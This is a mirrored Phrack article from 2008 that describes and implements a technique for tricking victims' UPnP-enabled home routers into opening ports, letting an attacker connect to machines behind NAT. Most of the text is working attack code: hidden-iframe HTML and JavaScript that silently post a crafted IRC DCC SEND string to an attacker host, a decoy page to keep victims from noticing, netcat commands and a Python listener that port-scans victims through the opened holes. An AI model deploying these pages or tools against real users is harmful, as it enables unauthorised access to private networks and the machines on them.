mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
1014 lines
42 KiB
Text
1014 lines
42 KiB
Text
![]() |
==Phrack Inc.==
|
||
|
|
||
|
Volume 0x0c, Issue 0x41, Phile #0x05 of 0x0f
|
||
|
|
||
|
|=-----------------=[ Clawing holes in NAT with UPnP ]=------------------=|
|
||
|
|=-----------------------------------------------------------------------=|
|
||
|
|=---=[ max_packetz@felinemenace.org <http://www.felinemenace.org> ]=----=|
|
||
|
|=--------------------------=[ April 12th 2008 ]-=-----------------------=|
|
||
|
|
||
|
--[ Contents
|
||
|
|
||
|
1 - Introduction / An overview of NAT and UPnP.
|
||
|
|
||
|
2 - Implementation Details
|
||
|
2.1 - Implementation specifics: IRC Protocol: DCC
|
||
|
2.2 - Implementation specifics: Java
|
||
|
2.3 - Implementation specifics: HTML
|
||
|
2.4 - Implementation specifics: Listener
|
||
|
|
||
|
3 - Putting it all together with Python
|
||
|
|
||
|
4 - References
|
||
|
|
||
|
5 - Appendix A: Source code
|
||
|
|
||
|
|
||
|
--[ 1 - Introduction / An overview of NAT and UPnP.
|
||
|
|
||
|
Welcome reader, this paper is a short attempt at documenting a
|
||
|
practical technique we have been working on. Although our technique
|
||
|
uses very similar technology to many other attacks, we have not
|
||
|
seen this documented in such a manner before, nor have we seen a
|
||
|
practical implementation in the wild. This paper is therefore designed
|
||
|
to accommodate this.
|
||
|
|
||
|
Our technique allows the attacker (us) to craft a website which,
|
||
|
when visited, will cause the victim to inadvertently forward any port
|
||
|
of our choice through their NAT, allowing us to connect directly to them
|
||
|
inside their private network via UPnP.
|
||
|
|
||
|
Before we launch into the specifics of the technique, or our
|
||
|
implementation details, you must first be familiar with a couple of
|
||
|
fairly straight forward concepts. These are: "Network Address
|
||
|
Translation" (NAT) and "Universal Plug and Play" (UPnP).
|
||
|
|
||
|
Hopefully most people reading this paper are already familiar with
|
||
|
NAT. For those who arn't, NAT basically allows several machines
|
||
|
to share a single IP address without conflict. This means that a single
|
||
|
computer or router acts as a gateway for several other computers. To
|
||
|
learn more about the specifics of NAT read the RFC in the references
|
||
|
section [1].
|
||
|
|
||
|
For a typical home user, NAT is implemented by their DSL modem/router
|
||
|
and is fairly seamless. The internal IP address is assigned by a DHCP
|
||
|
service on the router and internal users are almost never aware of
|
||
|
their external address.
|
||
|
|
||
|
It is a common misconception that NAT provides an impenetrable
|
||
|
security layer for the internal hosts. Often this leads to a
|
||
|
more lapse security policy for internal machines, and a nice
|
||
|
gaping hole for anyone who manages to penetrate the outer shell.
|
||
|
It is very common to find publicly accessible smb shares or poorly
|
||
|
patched services etc. using our technique.
|
||
|
|
||
|
The other concept which you must be familiar with before we
|
||
|
can get into the (hopefully) interesting section of this paper
|
||
|
is "Universal Plug and Play ", UPnP.
|
||
|
|
||
|
Universal Plug and Play (UPnP) is a set of protocols which were
|
||
|
consolidated by the UPnP forum. The general theme which all these
|
||
|
protocols have in common is that they allow for seamless implementation
|
||
|
of networks and data communication.
|
||
|
|
||
|
The major feature of this protocol suite which is of interest to us in
|
||
|
the context of this paper is the NAT punching functionality.
|
||
|
|
||
|
This feature describes how a gateway can parse various protocols
|
||
|
passing through it in order to forward ports through the NAT to the
|
||
|
internal service. It is designed in order to allow any host behind the
|
||
|
NAT to request that a port be opened up in the outer layer, and any
|
||
|
traffic received on this port will be forwarded through to the internal
|
||
|
machine, creating new channel for communications. This functionality
|
||
|
allows protocols such as FTP/SIP/etc to function. In these cases the
|
||
|
gateway responsible for NAT will parse the protocol stream looking for
|
||
|
requests for a separate channel to be created. It will then search and
|
||
|
replace the IP and port values as they pass over the wire, replacing
|
||
|
them with the external values. Thus, the other end of the transaction
|
||
|
knows to try to connect to the external IP address and port, rather
|
||
|
than the internal values.
|
||
|
|
||
|
It is very common currently for most household ADSL/modems and routers
|
||
|
to ship with UPnP enabled by default. Also the Linux kernel supports
|
||
|
UPnP with ipfilter, however this isn't a default config option and
|
||
|
only really active when using a Linux box as a gateway device.
|
||
|
|
||
|
It's this feature that we are able to exploit in order to create the
|
||
|
forwarding of our choice, allowing us access any specific port on a
|
||
|
host behind the NAT directly, regardless of the fact the NAT is there.
|
||
|
|
||
|
--[ 2 - Implementation Specifics
|
||
|
|
||
|
In this chapter we will try to provide a detailed overview of our
|
||
|
technique itself and discuss our implementation details. We will
|
||
|
try to explain the criteria for selecting each of the protocols and
|
||
|
technologies we used for implementing each component of our technique.
|
||
|
|
||
|
For those of you familiar with the technologies associated with our
|
||
|
implementation, the overview below should be enough for you to implement
|
||
|
our technique by yourself. However we would like to note that our
|
||
|
technique can be implemented in other ways, and our implementation
|
||
|
serves as just one example. We will only discuss the various technologies
|
||
|
used by felinemenace throughout the rest of this paper.
|
||
|
|
||
|
The basic premis of our technique is to encapsulate one protocol
|
||
|
(specifically one of the protocols which are handled by UPnP NAT
|
||
|
Punching functionality) within a second, transport protocol. This way
|
||
|
when the gateway see's the traffic it will interpret the encapsulated
|
||
|
protocol string as a request to open a port, and act accordingly.
|
||
|
|
||
|
Our implementation begins by convincing the victim to visit a website
|
||
|
of our choice. This can be accomplished via social engineering, cross
|
||
|
site scripting, phishing, baiting, banner ads, etc. Once the victim
|
||
|
has accessed our site, we have enough control over their browser in
|
||
|
order to redirect it to any port of our choice, on any address. This
|
||
|
flexibility allows us to accomodate almost any choice of protocol to
|
||
|
be encapsulated within the web session. The aformentioned behaviour
|
||
|
makes (in the author's opinion) the use of HTML/Javascript, as a
|
||
|
delivery mechanism, to be a very effective choice.
|
||
|
|
||
|
When the victim accesses the website a fake (bait) web site is displayed
|
||
|
to them. This is done so as not to encourage the user to immediately close
|
||
|
the page upon load.
|
||
|
|
||
|
From this stage the attacker uses one of the various methods of
|
||
|
browser redirection, HTTP response, javascript redirection etc. in
|
||
|
order to redirect the victim's browser to a port of the attacker's
|
||
|
choice. We chose JavaScript since a large portion of the technique was
|
||
|
already written in JavaScript. This is documented in the HTML section
|
||
|
of the paper.
|
||
|
|
||
|
The attacker chooses a port which corresponds to a particular protocol
|
||
|
that performs a data transfer out of band with the initial communication.
|
||
|
In our case we chose the DCC feature from the IRC protocol. [3] Our reason
|
||
|
for choosing this protocol was simply because we were already familiar
|
||
|
with it however, any protocol which fits this criteria is fine. The
|
||
|
attacker then (using the JavaScript running on the victims computer at
|
||
|
this stage) forces the victim to send text from the appropriate
|
||
|
protocol, (DCC in our case) back to the attacker. If the gateway
|
||
|
device responsible for NAT has UPnP features enabled, this will cause
|
||
|
the device to open up a hole (as mentioned previously) and grant the
|
||
|
attacker direct access to the local machine behind the NAT.
|
||
|
|
||
|
By redirecting multiple times, an attacker is able to open up a range
|
||
|
of ports, to portscan the host, or connect to any service running
|
||
|
on the local machine.
|
||
|
|
||
|
We have provided an implementation of this for you to use, however
|
||
|
obviously writing your own will make it less detectable / more useful.
|
||
|
|
||
|
Now that we've looked at the technique from a high level breakdown we
|
||
|
will dive deeper into each of the technologies which come together to
|
||
|
make our technique work.
|
||
|
|
||
|
To summarize this section, the following technologies will be covered
|
||
|
by this paper:
|
||
|
|
||
|
o IRC Protocol: DCC
|
||
|
o A Java Applet.
|
||
|
o HTML with JavaScript.
|
||
|
o Python code to ./scriptkiddify the whole process up.
|
||
|
|
||
|
The rest of this chapter has been broken down into a walkthru of the
|
||
|
in's and out's of each of the technologies mentioned, and how we can
|
||
|
manipulate them to our desired end.
|
||
|
|
||
|
Each of the following sections will describe a single technology, and how
|
||
|
we used it.
|
||
|
|
||
|
--[ 2.1 - Implementation specifics: IRC Protocol: DCC
|
||
|
|
||
|
The first step in our implementation is to find a protocol which requires
|
||
|
a separate socket connection in order to communicate directly with
|
||
|
an end user.
|
||
|
|
||
|
While, as mentioned previously, there exist a multitude of protocols
|
||
|
which fit our criteria, for the sake of this paper we will demonstrate
|
||
|
one in particular, RFC-1459 [3] Internet Relay Chat.
|
||
|
|
||
|
While i'm sure that most people reading this paper are already
|
||
|
intimately familiar with IRC, i will give a brief rundown on the aspects
|
||
|
of the protocol which are interesting in the scope of this paper.
|
||
|
|
||
|
Basically IRC requires that each client connects to a central server,
|
||
|
typically on port 6667. When one client wishes to send a message to another
|
||
|
they send a message to the server using the existing socket connection they
|
||
|
have open. The server then forwards this message on to the target client.
|
||
|
|
||
|
If two of the users on an IRC server wish to communicate without having the
|
||
|
server be responsible for passing the message between them, (read; trade
|
||
|
top secret 0day juarez) they can establish a separate communication
|
||
|
channel. This is accomplished by using a subset of the IRC protocol known
|
||
|
as DCC (Direct Client to Client).
|
||
|
|
||
|
DCC works by one client sending a request to establish an out of band
|
||
|
connection with another client on the IRC server. This request contains
|
||
|
both the IP and port on which the communication will take place. The
|
||
|
second client then simply establishes a TCP connection with these
|
||
|
details, and uses it for further communication.
|
||
|
|
||
|
What this basically boils down to is the following line.
|
||
|
|
||
|
"\x01DCC SEND fake.exe 2130706433 1337\x01\r\n\r\n"
|
||
|
|
||
|
This is the format of a DCC SEND command. As you can see the entire
|
||
|
command is enclosed within "\x01" characters. It contains the words
|
||
|
"DCC SEND" followed by the name of the file which is going to be sent.
|
||
|
After this is the internal IP address of the requesting host, in numeric
|
||
|
decimal format, and finally the port the transaction will take place on.
|
||
|
The format of the IP address is explained more thoroughly by optiklenz in
|
||
|
Keen Veracity 6 [5].
|
||
|
|
||
|
This aspect of the protocol clearly will not work under a typical NAT
|
||
|
environment (without UPnP enabled). After receiving the IP address and
|
||
|
port information, the connecting host would end up trying to connect to a
|
||
|
local address (the address of the machine inside the NAT), and
|
||
|
never actually make it back to the intended recipient. It is for this
|
||
|
reason that a UPnP enabled gateway must parse IRC traffic looking for
|
||
|
DCC style commands. When this is detected, the gateway will replace
|
||
|
the IP address in the request, with it's own address. When the
|
||
|
connection is received on the port specified, the gateway will forward
|
||
|
it inside the NAT to the originating host. It is this behaviour that,
|
||
|
as the attacker, we can exploit for our own benefit.
|
||
|
|
||
|
If, as the attacker, we force the victim to send a crafted DCC SEND request
|
||
|
(such as the one above) to port 6667 there's a good chance that the
|
||
|
gateway will open up the port specified in the request, providing UPnP is
|
||
|
enabled. The cool thing about this protocol is that no IP address is
|
||
|
specified for the connecting IP. This means that once the request has
|
||
|
taken place, a connection from anywhere in the world is completely valid.
|
||
|
|
||
|
Several implementations of UPnP do not even care if the IP address
|
||
|
specified in the DCC SEND command is the same as that of the victim
|
||
|
machine. In this case, the steps described so far are sufficient to open a
|
||
|
gaping hole in the gateway and connect to the victim. However in most
|
||
|
cases we need to first establish the internal IP address of the victim's
|
||
|
machine.
|
||
|
|
||
|
Luckily there is an easy way to accomplish this from the web, which we
|
||
|
will address in the next section.
|
||
|
|
||
|
--[ 2.2 - Implementation specifics - Java
|
||
|
|
||
|
The easiest way to identify the local IP of the victim from the web is
|
||
|
to use a Java applet. Applets are able to create a new Socket object and
|
||
|
call the "getLocalAddress()" method on it to obtain the local address of
|
||
|
the host (obviously).
|
||
|
|
||
|
The following Java code illustrates this:
|
||
|
|
||
|
String s = (new Socket(s2, i)).getLocalAddress().getHostAddress();
|
||
|
|
||
|
Luckily for us, there already exists a nicely pre-packaged Java applet
|
||
|
called MyAddress [4] which does this and can be downloaded straight from
|
||
|
their website.
|
||
|
|
||
|
The applet supports a variety of ways to access the local
|
||
|
IP once it is obtained. One way is to specify the "mayscript" parameter
|
||
|
in the applet tag; this causes a javascript function (MyAddress() by
|
||
|
default) to be called once the IP is obtained. This is useful, as we can
|
||
|
effectively block until we receive this neccessary data.
|
||
|
|
||
|
The following HTML demonstrates the use of this applet and the MyAddress()
|
||
|
callback function. Also (as mentioned earlier in the DCC protocol section)
|
||
|
as the local IP address must be entered in "defunct" format, we've
|
||
|
provided the defunct() function to translate from decimal format to
|
||
|
defunct:
|
||
|
|
||
|
<applet code="MyAddress.class" name="myaddress"
|
||
|
mayscript width="0" height="0"></applet>
|
||
|
<script>
|
||
|
<!--
|
||
|
var ip = null;
|
||
|
function MyAddress(i) {ip = defunct(i); doevil();}
|
||
|
function defunct(sip) {
|
||
|
if(sip == null) return 0;
|
||
|
sip += ''; // ;( make sure it's a string
|
||
|
|
||
|
var dip = 0;
|
||
|
var a = sip.split(".");
|
||
|
var l = a.length;
|
||
|
for(var i=0; i<l; i++)
|
||
|
dip += a[l-i-1]*Math.pow(256,i);
|
||
|
return dip;
|
||
|
}
|
||
|
-->
|
||
|
</script>
|
||
|
|
||
|
--[ 2.3 - Implementation specifics: HTML
|
||
|
|
||
|
Now that we can create a proper DCC send string, the next problem
|
||
|
to overcome is how to force the client to unknowingly send the
|
||
|
encapsulated string to a malicious server, thereby tricking their
|
||
|
gateway into forwarding a port we specify. HTML forms submitted
|
||
|
automatically via javascript are highly useful for this.
|
||
|
|
||
|
Since the DCC string (and many other protocols you might choose
|
||
|
to use with this technique) require multiple lines of communication
|
||
|
to trigger the UPnP NAT traversal features, we set the "enctype"
|
||
|
attribute to "multipart/form-data". This allows the required
|
||
|
carriage return and new line characters to be submitted via a
|
||
|
form field.
|
||
|
|
||
|
The following form tag shows how to specify the enctype:
|
||
|
|
||
|
<form
|
||
|
id="evilform"
|
||
|
name="evilform"
|
||
|
action="http://evilserver.com:6667/"
|
||
|
method="post"
|
||
|
enctype="multipart/form-data"
|
||
|
>
|
||
|
|
||
|
In order to automate the submission of our DCC string (payload),
|
||
|
we use javascript to submit the form (after the internal IP address
|
||
|
is obtained) via the form submit() method as follows:
|
||
|
|
||
|
function doevil(ip, port) {
|
||
|
var frm = document.forms['evilform'];
|
||
|
if(frm == null) return;
|
||
|
frm.payload.value = unescape("%01")
|
||
|
+ "DCC SEND evil.txt " + ip + " " + port +
|
||
|
+ unescape("%01%0a%0d");
|
||
|
try { frm.submit(); } catch(err) { return; }
|
||
|
}
|
||
|
|
||
|
As you can see we've used javascript to craft the payload string,
|
||
|
because of the neccessary (depending of gateway implementation)
|
||
|
carriage return and newline characters.
|
||
|
|
||
|
The following HTML code demonstrates the code so far, including
|
||
|
the use of the MyAddress applet mentioned in the previous section:
|
||
|
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>(Untitled)</title>
|
||
|
<applet code="MyAddress.class" name="myaddress"
|
||
|
mayscript width="0" height="0"></applet>
|
||
|
<script>
|
||
|
<!--
|
||
|
var port = 1337;
|
||
|
function MyAddress(i) {ip = defunct(i); doevil(ip, port);}
|
||
|
function defunct(sip) {
|
||
|
if(sip == null) return 0;
|
||
|
sip += ''; // ;( make sure it's a string
|
||
|
|
||
|
var dip = 0;
|
||
|
var a = sip.split(".");
|
||
|
var l = a.length;
|
||
|
for(var i=0; i<l; i++)
|
||
|
dip += a[l-i-1]*Math.pow(256,i);
|
||
|
return dip;
|
||
|
}
|
||
|
function doevil(ip, port) {
|
||
|
var frm = document.forms['evilform'];
|
||
|
if(frm == null) return;
|
||
|
frm.payload.value = unescape("%01")
|
||
|
+ "DCC SEND evil.txt " + ip + " " + port +
|
||
|
+ unescape("%01%0a%0d");
|
||
|
try { frm.submit(); } catch(err) { return; }
|
||
|
}
|
||
|
-->
|
||
|
</script>
|
||
|
</head>
|
||
|
<body>
|
||
|
<form
|
||
|
id="evilform"
|
||
|
name="evilform"
|
||
|
action="http://evilserver.com:6667/"
|
||
|
method="post"
|
||
|
enctype="multipart/form-data"
|
||
|
>
|
||
|
<input type="input" id="payload"
|
||
|
name="payload" value="null">
|
||
|
</form>
|
||
|
</body>
|
||
|
</html>
|
||
|
|
||
|
By simply binding netcat to port 6667 of evilserver.com, this
|
||
|
code is enough to manually connect back to the port "port" once
|
||
|
a victim has viewed this web page, as the following snippet
|
||
|
demonstrates:
|
||
|
|
||
|
-[max@evilserver:~/simple]$ nc -lp 6667
|
||
|
POST / HTTP/1.1
|
||
|
Host: evilserver.com:6667
|
||
|
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X; en-US; rv:1.8.1.13)
|
||
|
Gecko/20080311 Firefox/2.0.0.13
|
||
|
Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,
|
||
|
text/plain;q=0.8,image/png,*/*;q=0.5
|
||
|
Accept-Language: en-us,en;q=0.5
|
||
|
Accept-Encoding: gzip,deflate
|
||
|
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
|
||
|
Keep-Alive: 300
|
||
|
Connection: keep-alive
|
||
|
Referer: http://evilserver.com/simpletest.html
|
||
|
Content-Type: multipart/form-data; boundary=---------------------------
|
||
|
162151946613101846322123277333
|
||
|
Content-Length: 213
|
||
|
|
||
|
-----------------------------162151946613101846322123277333
|
||
|
Content-Disposition: form-data; name="payload"
|
||
|
|
||
|
DCC SEND evil.txt 16909060 1337NaN
|
||
|
-----------------------------162151946613101846322123277333--
|
||
|
|
||
|
You can see that a victim has connected to our webpage (simpletest.html)
|
||
|
and that the page has automatically submitted our DCC SEND send string.
|
||
|
Using netcat again, we can connect back to the ip and port above (using
|
||
|
the defunct format works fine with nc):
|
||
|
|
||
|
-[max@evilserver:~/simple]$ nc 16909060 1337
|
||
|
muahahaha
|
||
|
what are you doing here?!
|
||
|
|
||
|
Here's what it looks like from the victim's end:
|
||
|
|
||
|
-[victim@QQ:~]$ nc -lp 1337
|
||
|
muahahaha
|
||
|
what are you doing here?!
|
||
|
|
||
|
Obviously there are some significant drawbacks to using this
|
||
|
simplified example...who wants to sit and manually monitor
|
||
|
their connections and then manually connect back to victims?
|
||
|
What if you want to connect to multiple ports? Won't it kinda
|
||
|
tip the victim off (or at least bore them mightily) if there's
|
||
|
nothing but a dodgy page for them to look at? How about something
|
||
|
interesting? Like maybe an article....
|
||
|
|
||
|
The topic of the listening and connect back mechanism is addressed
|
||
|
in the next section of this chapter. The content problem and the
|
||
|
ability to forward multiple ports per visit are addressed by creating
|
||
|
an additional page (evil.html) that contains two HTML iframes, one hidden
|
||
|
and one visible. While the victim is distracted by content in the
|
||
|
visible iframe (goodframe), the hidden iframe (evilframe)
|
||
|
loads the second page (evilform.html) in order to post (as many times
|
||
|
as desired) to evilserver.
|
||
|
|
||
|
The code might look something like this (note that we keep the
|
||
|
MyAddress code in evil.html; there's no sense in loading it multiple
|
||
|
times):
|
||
|
|
||
|
evil.html:
|
||
|
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>(Untitled)</title>
|
||
|
<applet code="MyAddress.class" name="myaddress"
|
||
|
mayscript width="0" height="0"></applet>
|
||
|
<script type="text/javascript">
|
||
|
<!--
|
||
|
var ports = [135,137,138,139,22,1337];
|
||
|
var port = null;
|
||
|
var ip = null;
|
||
|
|
||
|
function MyAddress(i) {ip = defunct(i); openports();}
|
||
|
function defunct(sip) {
|
||
|
if(sip == null) return 0;
|
||
|
sip += ''; // ;( make sure it's a string
|
||
|
|
||
|
var dip = 0;
|
||
|
var a = sip.split(".");
|
||
|
var l = a.length;
|
||
|
for(var i=0; i<l; i++)
|
||
|
dip += a[l-i-1]*Math.pow(256,i);
|
||
|
return dip;
|
||
|
}
|
||
|
function openports() {
|
||
|
if(!ports || !ip) return;
|
||
|
for(port in ports)
|
||
|
document.getElementById('evilframe').src = 'evilform.html';
|
||
|
}
|
||
|
-->
|
||
|
</script>
|
||
|
</head>
|
||
|
<body style="padding: 0px; border:none; margin:0px;">
|
||
|
<iframe name="evilframe" id="evilframe" src=""
|
||
|
width="0" height="0" frameborder="0"></iframe>
|
||
|
<iframe name="goodframe" id="goodframe"
|
||
|
src="http://google.com" width="100%" height="100%"
|
||
|
frameborder="0">
|
||
|
</iframe>
|
||
|
</body>
|
||
|
</html>
|
||
|
|
||
|
Upon load, evilform.html will access evil.html's (its parent's) variables
|
||
|
"port" and "ip" to craft the payload DCC string and then post:
|
||
|
|
||
|
evilform.html:
|
||
|
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>(Untitled)</title>
|
||
|
</head>
|
||
|
<script>
|
||
|
<!--
|
||
|
function doevil(ip, port) {
|
||
|
var frm = document.forms['evilform'];
|
||
|
if(ip == null || port == null || frm == null) return;
|
||
|
frm.internal_ip.value = 'internal_ip:'+ip;
|
||
|
frm.internal_port.value = 'internal_port:'+port;
|
||
|
frm.payload.value = unescape("%01")
|
||
|
+ "DCC SEND evil.txt " + ip + " " + port +
|
||
|
+ unescape("%01%0a%0d");;
|
||
|
window.parent.formposting();
|
||
|
try { frm.submit(); } catch(err) { return; }
|
||
|
}
|
||
|
-->
|
||
|
</script>
|
||
|
<body onload="doevil(window.parent.ip, window.parent.port)">
|
||
|
<form
|
||
|
id="evilform"
|
||
|
name="evilform"
|
||
|
action="http://evilserver.com:6667/"
|
||
|
method="post"
|
||
|
enctype="multipart/form-data"
|
||
|
>
|
||
|
<input type="input" id="payload" name="payload" value="null">
|
||
|
<input type="input" id="internal_ip" name="internal_ip" value="null">
|
||
|
<input type="input" id="internal_port" name="internal_port" value="null">
|
||
|
</form>
|
||
|
</body>
|
||
|
</html>
|
||
|
|
||
|
Note that evilform.html is now also setting two additional form variables
|
||
|
(with some tags to make them easier to regex out later) so that the
|
||
|
listener can note what the internal port and IP of the victim are. Since
|
||
|
these variables aren't within a protocol string (like the DCC send string)
|
||
|
the gateway will not replace them with the external values.
|
||
|
|
||
|
Unfortunately, however, the code above introduces a race condition: you
|
||
|
can't be assured that evilform.html has had enough time to load and post
|
||
|
before it gets reloaded. We originally expected that this could be
|
||
|
remedied if the service listening on 6667 of evilserver.com replied with a
|
||
|
page that invoked a callback function in the parent page in the following
|
||
|
manner:
|
||
|
|
||
|
<script>window.parent.imdone();</script>
|
||
|
|
||
|
Unfortunately, modern browsers will limit access to data across iframes if
|
||
|
the source page's scheme, domain, or port is different. Because our post
|
||
|
is neccessarily to a different port (6667 vs 80), the above code will
|
||
|
always generate an exception.
|
||
|
|
||
|
Our solution was to mitigate the issue by putting in enough delay after
|
||
|
evilform.html begins loading as to be reasonably assured that the page
|
||
|
has completed it's automatic posting before reloading it. Since javascript
|
||
|
has no sleep() function (that we could find), we used
|
||
|
window.setTimeout(fn, t):
|
||
|
|
||
|
evil.html:
|
||
|
...
|
||
|
function MyAddress(i) {ip = defunct(i); opennextport();}
|
||
|
...
|
||
|
function formposting() {
|
||
|
window.setTimeout('opennextport()', 1000)
|
||
|
}
|
||
|
function opennextport() {
|
||
|
if(!ports || cp < 0 || cp > ports.length) return;
|
||
|
port = ports[cp++];
|
||
|
document.getElementById('evilframe').src = 'evilform.html';
|
||
|
}
|
||
|
|
||
|
...
|
||
|
|
||
|
evilform.html:
|
||
|
...
|
||
|
function doevil(ip, port) {
|
||
|
var frm = document.forms['evilform'];
|
||
|
if(ip == null || port == null || frm == null) return;
|
||
|
frm.internal_ip.value = 'internal_ip:'+ip;
|
||
|
frm.internal_port.value = 'internal_port:'+port;
|
||
|
frm.payload.value = unescape("%01")
|
||
|
+ "DCC SEND evil.txt " + ip + " " + port +
|
||
|
+ unescape("%01%0a%0d");;
|
||
|
window.parent.formposting();
|
||
|
try { frm.submit(); } catch(err) { return; }
|
||
|
}
|
||
|
...
|
||
|
|
||
|
One cosmetic issue remains with our code: the title of evil.html will not
|
||
|
match that of our bait page. If the bait page is hosted via the same
|
||
|
scheme on the same domain and port as evil.html, then this can be easily
|
||
|
remedied with this code snippet:
|
||
|
|
||
|
function settitle() { document.title =
|
||
|
window.frames['goodframe'].document.title; }
|
||
|
...
|
||
|
<body onload="settitle()">
|
||
|
|
||
|
However, as previously mentioned, if the bait page is hosted on a
|
||
|
different server or using a different scheme, accessing goodframe's
|
||
|
document title would cause an exception to be raised. In either case,
|
||
|
if the victim were to follow an internal link, the title would become
|
||
|
outdated. Our solution was to wrap the assignment in a try / catch block
|
||
|
and to set a timeout to call settitle again in 350 milliseconds:
|
||
|
|
||
|
function settitle() {
|
||
|
try{ document.title = window.frames['goodframe'].document.title;}
|
||
|
catch(err) {return;}
|
||
|
window.setTimeout('settitle()', 350);
|
||
|
}
|
||
|
|
||
|
|
||
|
Below is the final code:
|
||
|
|
||
|
evil.html:
|
||
|
|
||
|
<!-- evil.html -->
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>(Untitled)</title>
|
||
|
<applet code="MyAddress.class" name="myaddress"
|
||
|
mayscript width="0" height="0"></applet>
|
||
|
<script type="text/javascript">
|
||
|
<!--
|
||
|
var ip = null;
|
||
|
var port = null;
|
||
|
var ports = [135,137,138,139,22,1337];
|
||
|
var cp = 0;
|
||
|
|
||
|
function MyAddress(i) {ip = defunct(i); opennextport();}
|
||
|
function settitle() {
|
||
|
try{ document.title = window.frames['goodframe'].document.title;}
|
||
|
catch(err) {return;}
|
||
|
window.setTimeout('settitle()', 350);
|
||
|
}
|
||
|
function defunct(sip) {
|
||
|
if(sip == null) return 0;
|
||
|
sip += ''; // ;( make sure it's a string
|
||
|
|
||
|
var dip = 0;
|
||
|
var a = sip.split(".");
|
||
|
var l = a.length;
|
||
|
for(var i=0; i<l; i++)
|
||
|
dip += a[l-i-1]*Math.pow(256,i);
|
||
|
return dip;
|
||
|
}
|
||
|
function formposting() {
|
||
|
window.setTimeout('opennextport()', 1000)
|
||
|
}
|
||
|
function opennextport() {
|
||
|
if(!ports || cp < 0 || cp > ports.length) return;
|
||
|
port = ports[cp++];
|
||
|
document.getElementById('evilframe').src = 'evilform.html';
|
||
|
}
|
||
|
-->
|
||
|
</script>
|
||
|
</head>
|
||
|
<body onload="settitle()" style="padding: 0px; border:none; margin:0px;">
|
||
|
<iframe name="evilframe" id="evilframe" src=""
|
||
|
width="0" height="0" frameborder="0"></iframe>
|
||
|
<iframe name="goodframe" id="goodframe" src="http://google.com"
|
||
|
width="100%" height="100%" frameborder="0"></iframe>
|
||
|
</body>
|
||
|
</html>
|
||
|
|
||
|
evilform.html:
|
||
|
|
||
|
<html>
|
||
|
<head>
|
||
|
<title>(Untitled)</title>
|
||
|
</head>
|
||
|
<script>
|
||
|
<!--
|
||
|
function doevil(ip, port) {
|
||
|
var frm = document.forms['evilform'];
|
||
|
if(ip == null || port == null || frm == null) return;
|
||
|
frm.internal_ip.value = 'internal_ip:'+ip;
|
||
|
frm.internal_port.value = 'internal_port:'+port;
|
||
|
frm.payload.value = unescape("%01")
|
||
|
+ "DCC SEND evil.txt " + ip + " " + port +
|
||
|
+ unescape("%01%0a%0d");;
|
||
|
window.parent.formposting();
|
||
|
try { frm.submit(); } catch(err) { return; }
|
||
|
}
|
||
|
-->
|
||
|
</script>
|
||
|
<body onload="doevil(window.parent.ip, window.parent.port)">
|
||
|
<form
|
||
|
id="evilform"
|
||
|
name="evilform"
|
||
|
action="http://evilserver.com:6667/"
|
||
|
method="post"
|
||
|
enctype="multipart/form-data"
|
||
|
>
|
||
|
<input type="input" id="internal_ip" name="internal_ip" value="null">
|
||
|
<input type="input" id="internal_port" name="internal_port" value="null">
|
||
|
<input type="input" id="payload" name="payload" value="null">
|
||
|
</form>
|
||
|
</body>
|
||
|
</html>
|
||
|
|
||
|
Voila. Now you have a couple of pages that can be used
|
||
|
to open ports for connecting to boxes that are NAT'd
|
||
|
behind UPnP enabled routers. The section below details the
|
||
|
final component of our implementation: the listener.
|
||
|
|
||
|
--[ 2.4 - Implementation specifics: Listener
|
||
|
|
||
|
Possibly the most trivial component of our implementation is
|
||
|
the listener. This service will sit on evilserver.com and
|
||
|
listen on the port of choice (6667 for IRC/DCC and our code
|
||
|
above).
|
||
|
|
||
|
When the victim browses to evil.html and inadvertantly posts
|
||
|
via evilform.html, the listener is responsible for receiving
|
||
|
the connection. This can trivially be implemented in python
|
||
|
using the "SocketServer" module. A small example of this is
|
||
|
as follows:
|
||
|
|
||
|
class RequestHandler(SocketServer.StreamRequestHandler):
|
||
|
def handle(self):
|
||
|
while(True):
|
||
|
try:
|
||
|
line = self.rfile.readline()
|
||
|
except:
|
||
|
return
|
||
|
...
|
||
|
|
||
|
# begin listening for new connections.
|
||
|
tcpserver = SocketServer.TCPServer(('localhost', port),RequestHandler)
|
||
|
tcpserver.serve_forever()
|
||
|
|
||
|
The implementation of the listener provided with this paper will also
|
||
|
attempt to connect back to the victim through their gateway, effectively
|
||
|
port scanning the victim, behind the NAT.
|
||
|
|
||
|
Here is the code to do this:
|
||
|
|
||
|
def scan(self, ip, port):
|
||
|
sock = socket.socket()
|
||
|
sock.settimeout(1)
|
||
|
|
||
|
ret = sock.connect_ex((ip,int(port))) == 0
|
||
|
sock.close()
|
||
|
return ret
|
||
|
|
||
|
The code for the listener (whiskers.py) can be generated with the script
|
||
|
that is included in section Appendix A.
|
||
|
|
||
|
The output of whiskers is as follows:
|
||
|
|
||
|
-[max@evilserver:~]$ python whiskers.py
|
||
|
|
||
|
***********************************************************
|
||
|
Sat, 12 Apr 2008 01:13:17 GMT: Starting server....
|
||
|
Sat, 12 Apr 2008 01:13:17 GMT: Server started: 1.2.3.1337 listening on 6667
|
||
|
Sat, 12 Apr 2008 01:13:39 GMT: [+] Opened hole for port: 135 on ip: 1.2.3.4
|
||
|
Sat, 12 Apr 2008 01:13:39 GMT: [+] ---- Internal port: 135 on ip:
|
||
|
192.168.0.100 - closed.
|
||
|
Sat, 12 Apr 2008 01:13:40 GMT: [+] Opened hole for port: 137 on ip: 1.2.3.4
|
||
|
Sat, 12 Apr 2008 01:13:40 GMT: [+] ---- Internal port: 137 on ip:
|
||
|
192.168.0.100 - closed.
|
||
|
Sat, 12 Apr 2008 01:13:42 GMT: [+] Opened hole for port: 138 on ip: 1.2.3.4
|
||
|
Sat, 12 Apr 2008 01:13:42 GMT: [+] ---- Internal port: 138 on ip:
|
||
|
192.168.0.100 - closed.
|
||
|
Sat, 12 Apr 2008 01:13:43 GMT: [+] Opened hole for port: 139 on ip: 1.2.3.4
|
||
|
Sat, 12 Apr 2008 01:13:44 GMT: [+] ---- Internal port: 139 on ip:
|
||
|
192.168.0.100 - closed.
|
||
|
